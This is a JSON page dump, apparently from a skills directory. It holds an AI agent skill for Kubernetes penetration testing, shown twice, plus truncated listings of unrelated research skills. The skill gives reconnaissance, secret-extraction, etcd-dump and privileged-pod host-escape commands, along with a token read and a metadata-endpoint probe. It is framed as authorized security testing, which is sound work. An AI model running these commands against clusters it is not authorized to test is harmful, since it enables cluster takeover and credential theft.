[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7B8MT8JM92ED8AXJSZN37N6":3,"skill-same:01M7B8MT8JM92ED8AXJSZN37N6":98},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":15,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":44,"commitSha":45,"skillDirectory":46,"forksCount":13,"repositoryHtmlUrl":47,"repositoryHomepageUrl":6,"ownerHtmlUrl":48,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":49,"install":50,"resources":63},"01M7B8MT8JM92ED8AXJSZN37N6","performing-kubernetes-penetration-testing",null,"Evaluates Kubernetes cluster security by actively simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policy, and secrets, using kube-hunter, Kubescape, peirates, and manual kubectl exploitation to find paths to cluster compromise. Use for an authorized penetration test or hands-on validation that controls actually stop an attacker. Keywords: kube-hunter, Kubescape, peirates, kubelet 10250, anonymous auth, token theft, lateral movement, cluster takeover. Do not use for a configuration-only compliance audit - use performing-kubernetes-cis-benchmark-with-kube-bench.","vikasvardhanv\u002Fjerry_skills","vikasvardhanv","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F99010657?v=4","01M7B2B0VN78W7529RQX5BR6DZ","01M7B2B0WDNTXJHRK3QNPNWRP6",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-kubernetes-penetration-testing\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-kubernetes-penetration-testing\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-kubernetes-penetration-testing\ndescription: >-\n  Evaluates Kubernetes cluster security by actively simulating attacker techniques against the\n  API server, kubelet, etcd, pods, RBAC, network policy, and secrets, using kube-hunter,\n  Kubescape, peirates, and manual kubectl exploitation to find paths to cluster compromise.\n  Use for an authorized penetration test or hands-on validation that controls actually stop an\n  attacker. Keywords: kube-hunter, Kubescape, peirates, kubelet 10250, anonymous auth, token\n  theft, lateral movement, cluster takeover. Do not use for a configuration-only compliance\n  audit - use performing-kubernetes-cis-benchmark-with-kube-bench.\ndomain: cybersecurity\nsubdomain: container-security\ntags:\n- containers\n- kubernetes\n- security\n- penetration-testing\n- offensive-security\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- PR.IR-01\n- ID.AM-08\n- DE.CM-01\nmitre_attack:\n- T1610\n- T1611\n- T1609\n- T1525\n---\n# Performing Kubernetes Penetration Testing\n\n## Overview\n\nKubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing kubernetes penetration testing\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Authorized penetration testing engagement\n- Kubernetes cluster access (various levels for different test scenarios)\n- kube-hunter, kubescape, kube-bench installed\n- kubectl configured\n- Network access to cluster components\n\n## Core Concepts\n\n### Kubernetes Attack Surface\n\n| Component | Port | Attack Vectors |\n|-----------|------|---------------|\n| API Server | 6443 | Auth bypass, RBAC abuse, anonymous access |\n| Kubelet | 10250\u002F10255 | Unauthenticated access, command execution |\n| etcd | 2379\u002F2380 | Unauthenticated read, secret extraction |\n| Dashboard | 8443 | Default credentials, token theft |\n| NodePort Services | 30000-32767 | Service exposure, application exploits |\n| CoreDNS | 53 | DNS spoofing, zone transfer |\n\n### MITRE ATT&CK for Kubernetes\n\n| Phase | Techniques |\n|-------|-----------|\n| Initial Access | Exposed Dashboard, Kubeconfig theft, Application exploit |\n| Execution | exec into container, CronJob, deploy privileged pod |\n| Persistence | Backdoor container, mutating webhook, static pod |\n| Privilege Escalation | Privileged container, node access, RBAC abuse |\n| Defense Evasion | Pod name mimicry, namespace hiding, log deletion |\n| Credential Access | Secret extraction, service account token theft |\n| Lateral Movement | Container escape, cluster internal services |\n\n## Workflow\n\n### Step 1: External Reconnaissance\n\n```bash\n# Discover Kubernetes services\nnmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com\n\n# Check for exposed API server\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fapi\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fversion\n\n# Check anonymous authentication\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fapi\u002Fv1\u002Fnamespaces\n\n# Check for exposed kubelet\ncurl -k https:\u002F\u002Fnode-ip:10250\u002Fpods\ncurl http:\u002F\u002Fnode-ip:10255\u002Fpods  # Read-only kubelet\n```\n\n### Step 2: Automated Scanning with kube-hunter\n\n```bash\n# Install kube-hunter\npip install kube-hunter\n\n# Remote scan\nkube-hunter --remote target-cluster.com\n\n# Internal network scan (from within cluster)\nkube-hunter --internal\n\n# Pod scan (from within a pod)\nkube-hunter --pod\n\n# Generate report\nkube-hunter --remote target-cluster.com --report json --log output.json\n```\n\n### Step 3: CIS Benchmark Assessment with kube-bench\n\n```bash\n# Run kube-bench on master node\nkube-bench run --targets master\n\n# Run on worker node\nkube-bench run --targets node\n\n# Check specific sections\nkube-bench run --targets master --check 1.2.1,1.2.2,1.2.3\n\n# JSON output\nkube-bench run --json > kube-bench-results.json\n\n# Run as Kubernetes job\nkubectl apply -f https:\u002F\u002Fraw.githubusercontent.com\u002Faquasecurity\u002Fkube-bench\u002Fmain\u002Fjob.yaml\nkubectl logs -l app=kube-bench\n```\n\n### Step 4: Framework Compliance with Kubescape\n\n```bash\n# Install kubescape\ncurl -s https:\u002F\u002Fraw.githubusercontent.com\u002Fkubescape\u002Fkubescape\u002Fmaster\u002Finstall.sh | \u002Fbin\u002Fbash\n\n# Scan against NSA\u002FCISA hardening guide\nkubescape scan framework nsa\n\n# Scan against MITRE ATT&CK\nkubescape scan framework mitre\n\n# Scan against CIS Kubernetes Benchmark\nkubescape scan framework cis-v1.23-t1.0.1\n\n# Scan specific namespace\nkubescape scan framework nsa --namespace production\n\n# JSON output\nkubescape scan framework nsa --format json --output kubescape-report.json\n```\n\n### Step 5: RBAC Exploitation Testing\n\n```bash\n# Check current permissions\nkubectl auth can-i --list\n\n# Check specific high-value permissions\nkubectl auth can-i create pods\nkubectl auth can-i create pods --subresource=exec\nkubectl auth can-i get secrets\nkubectl auth can-i create clusterrolebindings\nkubectl auth can-i '*' '*'  # cluster-admin check\n\n# Enumerate service account tokens\nkubectl get serviceaccounts -A\nkubectl get secrets -A -o json | jq '.items[] | select(.type==\"kubernetes.io\u002Fservice-account-token\") | {name: .metadata.name, namespace: .metadata.namespace}'\n\n# Check for overly permissive roles\nkubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name==\"system:anonymous\" or .subjects[]?.name==\"system:unauthenticated\")'\n\n# Test service account impersonation\nkubectl --as=system:serviceaccount:default:default get pods\n```\n\n### Step 6: Secret Extraction Testing\n\n```bash\n# List all secrets\nkubectl get secrets -A\n\n# Extract specific secret\nkubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d\n\n# Check for secrets in environment variables\nkubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'\n\n# Check for secrets in mounted volumes\nkubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'\n\n# Search etcd directly (if accessible)\nETCDCTL_API=3 etcdctl --endpoints=https:\u002F\u002Fetcd-ip:2379 \\\n  --cacert=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fca.crt \\\n  --cert=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fserver.crt \\\n  --key=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fserver.key \\\n  get \u002Fregistry\u002Fsecrets --prefix --keys-only\n```\n\n### Step 7: Pod Exploitation\n\n```bash\n# Deploy test pod with elevated privileges\ncat \u003C\u003CEOF | kubectl apply -f -\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pentest-pod\n  namespace: default\nspec:\n  hostNetwork: true\n  hostPID: true\n  containers:\n  - name: pentest\n    image: ubuntu:22.04\n    command: [\"sleep\", \"infinity\"]\n    securityContext:\n      privileged: true\n    volumeMounts:\n    - name: host-root\n      mountPath: \u002Fhost\n  volumes:\n  - name: host-root\n    hostPath:\n      path: \u002F\nEOF\n\n# Exec into pod\nkubectl exec -it pentest-pod -- bash\n\n# From inside privileged pod - access host filesystem\nchroot \u002Fhost\n\n# From inside any pod - check internal services\ncurl -k https:\u002F\u002Fkubernetes.default.svc\u002Fapi\u002Fv1\u002Fnamespaces\ncat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken\n```\n\n### Step 8: Network Policy Testing\n\n```bash\n# Check for network policies\nkubectl get networkpolicies -A\n\n# Test pod-to-pod communication (should be blocked by policies)\nkubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002Ftarget-service.namespace.svc\n\n# Test egress to external services\nkubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002Fexample.com\n\n# Test access to metadata service (cloud environments)\nkubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\n```\n\n## Validation Commands\n\n```bash\n# Verify kube-hunter findings\nkube-hunter --remote $CLUSTER_IP --report json\n\n# Cross-validate with Kubescape\nkubescape scan framework nsa --format json\n\n# Check remediation effectiveness\nkube-bench run --targets master,node --json\n\n# Clean up pentest resources\nkubectl delete pod pentest-pod\nkubectl delete pod test-netpol test-egress test-metadata\n```\n\n## References\n\n- [kube-hunter - Kubernetes Penetration Testing](https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Fkube-hunter)\n- [Kubescape - Kubernetes Security Platform](https:\u002F\u002Fgithub.com\u002Fkubescape\u002Fkubescape)\n- [kube-bench - CIS Benchmark](https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Fkube-bench)\n- [MITRE ATT&CK Containers Matrix](https:\u002F\u002Fattack.mitre.org\u002Fmatrices\u002Fenterprise\u002Fcontainers\u002F)\n- [Kubernetes Threat Matrix - Microsoft](https:\u002F\u002Fmicrosoft.github.io\u002FThreat-Matrix-for-Kubernetes\u002F)\n","# Performing Kubernetes Penetration Testing\n\n## Overview\n\nKubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing kubernetes penetration testing\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Authorized penetration testing engagement\n- Kubernetes cluster access (various levels for different test scenarios)\n- kube-hunter, kubescape, kube-bench installed\n- kubectl configured\n- Network access to cluster components\n\n## Core Concepts\n\n### Kubernetes Attack Surface\n\n| Component | Port | Attack Vectors |\n|-----------|------|---------------|\n| API Server | 6443 | Auth bypass, RBAC abuse, anonymous access |\n| Kubelet | 10250\u002F10255 | Unauthenticated access, command execution |\n| etcd | 2379\u002F2380 | Unauthenticated read, secret extraction |\n| Dashboard | 8443 | Default credentials, token theft |\n| NodePort Services | 30000-32767 | Service exposure, application exploits |\n| CoreDNS | 53 | DNS spoofing, zone transfer |\n\n### MITRE ATT&CK for Kubernetes\n\n| Phase | Techniques |\n|-------|-----------|\n| Initial Access | Exposed Dashboard, Kubeconfig theft, Application exploit |\n| Execution | exec into container, CronJob, deploy privileged pod |\n| Persistence | Backdoor container, mutating webhook, static pod |\n| Privilege Escalation | Privileged container, node access, RBAC abuse |\n| Defense Evasion | Pod name mimicry, namespace hiding, log deletion |\n| Credential Access | Secret extraction, service account token theft |\n| Lateral Movement | Container escape, cluster internal services |\n\n## Workflow\n\n### Step 1: External Reconnaissance\n\n```bash\n# Discover Kubernetes services\nnmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com\n\n# Check for exposed API server\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fapi\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fversion\n\n# Check anonymous authentication\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fapi\u002Fv1\u002Fnamespaces\n\n# Check for exposed kubelet\ncurl -k https:\u002F\u002Fnode-ip:10250\u002Fpods\ncurl http:\u002F\u002Fnode-ip:10255\u002Fpods  # Read-only kubelet\n```\n\n### Step 2: Automated Scanning with kube-hunter\n\n```bash\n# Install kube-hunter\npip install kube-hunter\n\n# Remote scan\nkube-hunter --remote target-cluster.com\n\n# Internal network scan (from within cluster)\nkube-hunter --internal\n\n# Pod scan (from within a pod)\nkube-hunter --pod\n\n# Generate report\nkube-hunter --remote target-cluster.com --report json --log output.json\n```\n\n### Step 3: CIS Benchmark Assessment with kube-bench\n\n```bash\n# Run kube-bench on master node\nkube-bench run --targets master\n\n# Run on worker node\nkube-bench run --targets node\n\n# Check specific sections\nkube-bench run --targets master --check 1.2.1,1.2.2,1.2.3\n\n# JSON output\nkube-bench run --json > kube-bench-results.json\n\n# Run as Kubernetes job\nkubectl apply -f https:\u002F\u002Fraw.githubusercontent.com\u002Faquasecurity\u002Fkube-bench\u002Fmain\u002Fjob.yaml\nkubectl logs -l app=kube-bench\n```\n\n### Step 4: Framework Compliance with Kubescape\n\n```bash\n# Install kubescape\ncurl -s https:\u002F\u002Fraw.githubusercontent.com\u002Fkubescape\u002Fkubescape\u002Fmaster\u002Finstall.sh | \u002Fbin\u002Fbash\n\n# Scan against NSA\u002FCISA hardening guide\nkubescape scan framework nsa\n\n# Scan against MITRE ATT&CK\nkubescape scan framework mitre\n\n# Scan against CIS Kubernetes Benchmark\nkubescape scan framework cis-v1.23-t1.0.1\n\n# Scan specific namespace\nkubescape scan framework nsa --namespace production\n\n# JSON output\nkubescape scan framework nsa --format json --output kubescape-report.json\n```\n\n### Step 5: RBAC Exploitation Testing\n\n```bash\n# Check current permissions\nkubectl auth can-i --list\n\n# Check specific high-value permissions\nkubectl auth can-i create pods\nkubectl auth can-i create pods --subresource=exec\nkubectl auth can-i get secrets\nkubectl auth can-i create clusterrolebindings\nkubectl auth can-i '*' '*'  # cluster-admin check\n\n# Enumerate service account tokens\nkubectl get serviceaccounts -A\nkubectl get secrets -A -o json | jq '.items[] | select(.type==\"kubernetes.io\u002Fservice-account-token\") | {name: .metadata.name, namespace: .metadata.namespace}'\n\n# Check for overly permissive roles\nkubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name==\"system:anonymous\" or .subjects[]?.name==\"system:unauthenticated\")'\n\n# Test service account impersonation\nkubectl --as=system:serviceaccount:default:default get pods\n```\n\n### Step 6: Secret Extraction Testing\n\n```bash\n# List all secrets\nkubectl get secrets -A\n\n# Extract specific secret\nkubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d\n\n# Check for secrets in environment variables\nkubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'\n\n# Check for secrets in mounted volumes\nkubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'\n\n# Search etcd directly (if accessible)\nETCDCTL_API=3 etcdctl --endpoints=https:\u002F\u002Fetcd-ip:2379 \\\n  --cacert=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fca.crt \\\n  --cert=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fserver.crt \\\n  --key=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fserver.key \\\n  get \u002Fregistry\u002Fsecrets --prefix --keys-only\n```\n\n### Step 7: Pod Exploitation\n\n```bash\n# Deploy test pod with elevated privileges\ncat \u003C\u003CEOF | kubectl apply -f -\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pentest-pod\n  namespace: default\nspec:\n  hostNetwork: true\n  hostPID: true\n  containers:\n  - name: pentest\n    image: ubuntu:22.04\n    command: [\"sleep\", \"infinity\"]\n    securityContext:\n      privileged: true\n    volumeMounts:\n    - name: host-root\n      mountPath: \u002Fhost\n  volumes:\n  - name: host-root\n    hostPath:\n      path: \u002F\nEOF\n\n# Exec into pod\nkubectl exec -it pentest-pod -- bash\n\n# From inside privileged pod - access host filesystem\nchroot \u002Fhost\n\n# From inside any pod - check internal services\ncurl -k https:\u002F\u002Fkubernetes.default.svc\u002Fapi\u002Fv1\u002Fnamespaces\ncat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken\n```\n\n### Step 8: Network Policy Testing\n\n```bash\n# Check for network policies\nkubectl get networkpolicies -A\n\n# Test pod-to-pod communication (should be blocked by policies)\nkubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002Ftarget-service.namespace.svc\n\n# Test egress to external services\nkubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002Fexample.com\n\n# Test access to metadata service (cloud environments)\nkubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\n```\n\n## Validation Commands\n\n```bash\n# Verify kube-hunter findings\nkube-hunter --remote $CLUSTER_IP --report json\n\n# Cross-validate with Kubescape\nkubescape scan framework nsa --format json\n\n# Check remediation effectiveness\nkube-bench run --targets master,node --json\n\n# Clean up pentest resources\nkubectl delete pod pentest-pod\nkubectl delete pod test-netpol test-egress test-metadata\n```\n\n## References\n\n- [kube-hunter - Kubernetes Penetration Testing](https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Fkube-hunter)\n- [Kubescape - Kubernetes Security Platform](https:\u002F\u002Fgithub.com\u002Fkubescape\u002Fkubescape)\n- [kube-bench - CIS Benchmark](https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Fkube-bench)\n- [MITRE ATT&CK Containers Matrix](https:\u002F\u002Fattack.mitre.org\u002Fmatrices\u002Fenterprise\u002Fcontainers\u002F)\n- [Kubernetes Threat Matrix - Microsoft](https:\u002F\u002Fmicrosoft.github.io\u002FThreat-Matrix-for-Kubernetes\u002F)\n",{"name":5,"tags":24,"author":30,"domain":31,"license":14,"version":32,"nist_csf":33,"subdomain":38,"description":7,"mitre_attack":39},[25,26,27,28,29],"containers","kubernetes","security","penetration-testing","offensive-security","mahipal","cybersecurity","1.0",[34,35,36,37],"PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01","container-security",[40,41,42,43],"T1610","T1611","T1609","T1525","main","1eb986d0b0ecc180291597e08eb5a58288843536","skills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-kubernetes-penetration-testing","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv","2026-08-25 13:16:33",{"source":8,"skillName":5,"commands":51,"prompt":61,"zipAvailable":62},[52,55,58],{"tool":53,"command":54},"npx","npx skills add vikasvardhanv\u002Fjerry_skills --skill performing-kubernetes-penetration-testing",{"tool":56,"command":57},"bunx","bunx skills add vikasvardhanv\u002Fjerry_skills --skill performing-kubernetes-penetration-testing",{"tool":59,"command":60},"pnpm","pnpm dlx skills add vikasvardhanv\u002Fjerry_skills --skill performing-kubernetes-penetration-testing","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-kubernetes-penetration-testing\u002FSKILL.md",true,[64,70,74,80,84,88,94],{"path":65,"resourceType":66,"resourceTypeDesc":67,"sizeBytes":68,"sourceHtmlUrl":69},"assets\u002Ftemplate.md","ASSET","资产文件",1163,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-kubernetes-penetration-testing\u002Fassets\u002Ftemplate.md",{"path":71,"resourceType":71,"resourceTypeDesc":72,"sizeBytes":73,"sourceHtmlUrl":15},"LICENSE","许可证",11255,{"path":75,"resourceType":76,"resourceTypeDesc":77,"sizeBytes":78,"sourceHtmlUrl":79},"references\u002Fapi-reference.md","REFERENCE","参考文档",1495,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-kubernetes-penetration-testing\u002Freferences\u002Fapi-reference.md",{"path":81,"resourceType":76,"resourceTypeDesc":77,"sizeBytes":82,"sourceHtmlUrl":83},"references\u002Fstandards.md",1616,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-kubernetes-penetration-testing\u002Freferences\u002Fstandards.md",{"path":85,"resourceType":76,"resourceTypeDesc":77,"sizeBytes":86,"sourceHtmlUrl":87},"references\u002Fworkflows.md",2794,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-kubernetes-penetration-testing\u002Freferences\u002Fworkflows.md",{"path":89,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":92,"sourceHtmlUrl":93},"scripts\u002Fagent.py","SCRIPT","脚本",7602,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-kubernetes-penetration-testing\u002Fscripts\u002Fagent.py",{"path":95,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":96,"sourceHtmlUrl":97},"scripts\u002Fprocess.py",15632,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-kubernetes-penetration-testing\u002Fscripts\u002Fprocess.py",[99,107,114,121,128,135],{"skillNo":100,"name":101,"nameZh":6,"description":102,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":103,"licenseFileUrl":6,"sourceHtmlUrl":104,"categories":105,"keywords":106,"publishedAt":19},"01M7BESR1CJ3H5SP9XM8KYJZ9W","syllabus","Generates a curated supplementary reading list from any course syllabus using Consensus academic search. Grill-me intake (syllabus input format + course audience + year range) plus a grouping forcing-options checkpoint before any search runs — so the reading list matches the course's level and recency need. Parses the syllabus to extract topics and learning outcomes, searches Consensus for recent peer-reviewed papers per topic, and produces a professionally formatted .docx with clickable Consensus links, plain-language summaries calibrated to audience level, and Bloom-higher-order discussion questions tied to course learning goals. Use when the user uploads a syllabus, course outline, or curriculum document and wants supplementary readings (e.g., 'create a reading list from this syllabus', 'find recent papers for my course') — even casual mentions with a syllabus attached should trigger this skill.","MIT","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fsyllabus\u002Fskills\u002Fsyllabus\u002FSKILL.md",[],[],{"skillNo":108,"name":109,"nameZh":6,"description":110,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":103,"licenseFileUrl":6,"sourceHtmlUrl":111,"categories":112,"keywords":113,"publishedAt":19},"01M7BES1YA6R97W7QPMFFM1PED","pulse","Multi-source recency research skill that takes the pulse of any topic across Reddit, Hacker News, the open web, and optionally X\u002FTwitter within a configurable recent window (default 30 days). Forcing intake clarifies topic specificity, angle (trend\u002Fsentiment\u002Fproblems\u002Fopportunities\u002Fcomparison), time window, and platform scope before searching. Returns a synthesized briefing with citations, engagement metrics, and cross-platform pattern analysis. Use when the user requests multi-source recency intelligence on a topic (e.g., 'pulse on [topic]', 'what's happening with [topic]', 'what are people saying about [topic]', 'current conversation about [topic]', 'take the pulse of [topic]', 'trending: [topic]', 'find me info on [topic]'), and for competitor research, trend discovery, tool comparisons, and audience sentiment analysis.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpulse\u002Fskills\u002Fpulse\u002FSKILL.md",[],[],{"skillNo":115,"name":116,"nameZh":6,"description":117,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":103,"licenseFileUrl":6,"sourceHtmlUrl":118,"categories":119,"keywords":120,"publishedAt":19},"01M7BERNHYGY035AR00VRT03KE","patent","Patent prior-art and landscape intelligence skill — not generic patent help. Commits to one of five sub-use-cases via forcing intake (novelty search \u002F freedom-to-operate \u002F competitive landscape \u002F acquisition diligence \u002F litigation prior-art) before any search runs. Searches Google Patents, Espacenet, USPTO, and optionally Lens.org for citation-graph signals. Output is an editable Word document (.docx) with verdict, ranked closest art (claim-text extracted), CPC-class-aware landscape, family-resolved hits, geographic coverage, FTO flags where applicable, strategy recommendations, and full audit log. Use when the user asks for patent searching or analysis (e.g., 'prior art search for [invention]', 'freedom to operate analysis for [product]'). Produces search signal, not legal advice — always recommends consulting a patent attorney before filing or licensing decisions. Trademark, copyright, and trade-secret questions are out of scope.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpatent\u002Fskills\u002Fpatent\u002FSKILL.md",[],[],{"skillNo":122,"name":123,"nameZh":6,"description":124,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":103,"licenseFileUrl":6,"sourceHtmlUrl":125,"categories":126,"keywords":127,"publishedAt":19},"01M7BERCK1EAKTWW7R436WAR0J","notebooklm","Browser automation skill for controlling Google's NotebookLM. Use when the user wants anything done in NotebookLM (e.g., 'open NotebookLM', 'check my [name] notebook', 'ask my notebook about X', 'add [source] to NotebookLM', 'generate a Video Overview from my notebook', 'use NotebookLM Studio'). Handles reading and querying notebooks, adding sources (URLs, text, files, YouTube links, synthesized content), generating Studio outputs (Audio\u002FVideo Overviews, Mind Maps, Reports incl. Briefing Doc\u002FStudy Guide\u002FFAQ, Flashcards, Quiz, slide decks, infographics — discover the exact set from the live Studio panel; the UI evolves fast), and creating new notebooks. Requires browser automation environment — fails gracefully when unavailable.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fnotebooklm\u002Fskills\u002Fnotebooklm\u002FSKILL.md",[],[],{"skillNo":129,"name":130,"nameZh":6,"description":131,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":103,"licenseFileUrl":6,"sourceHtmlUrl":132,"categories":133,"keywords":134,"publishedAt":19},"01M7BEQZAZAQRTXFJRY7RHV3TY","litreview","Academic literature orientation skill that searches papers via free keyless APIs (PubMed E-utilities + OpenAlex) by default — with the Consensus MCP as an optional enhancement lane when connected — builds a strategic search plan using PICO (default) or SPIDER \u002F Decomposition \u002F hybrid as fallbacks, and synthesizes findings into a formatted Word (.docx) research guide. Grill-me intake (research question specificity + framework hint + tentative depth) before the recon search; a second forcing checkpoint after Phase 2 confirms framework + sub-areas + depth before searches consume budget. Configurable depth (5\u002F10\u002F20 queries) controls coverage vs. speed. Output is a 'launching pad' — an orientation guide that lets a researcher dive in confidently, not a finished review. Use when the user starts literature-oriented research (e.g., 'litreview on [topic]', 'literature review on [topic]', 'I'm starting a literature review on X', 'I'm writing a paper on X', 'help me research X', 'I'm doing research on X', 'can you help me research X'). Do NOT use for single one-off paper searches wanting a quick list — that's a plain PubMed\u002FOpenAlex (or Consensus) 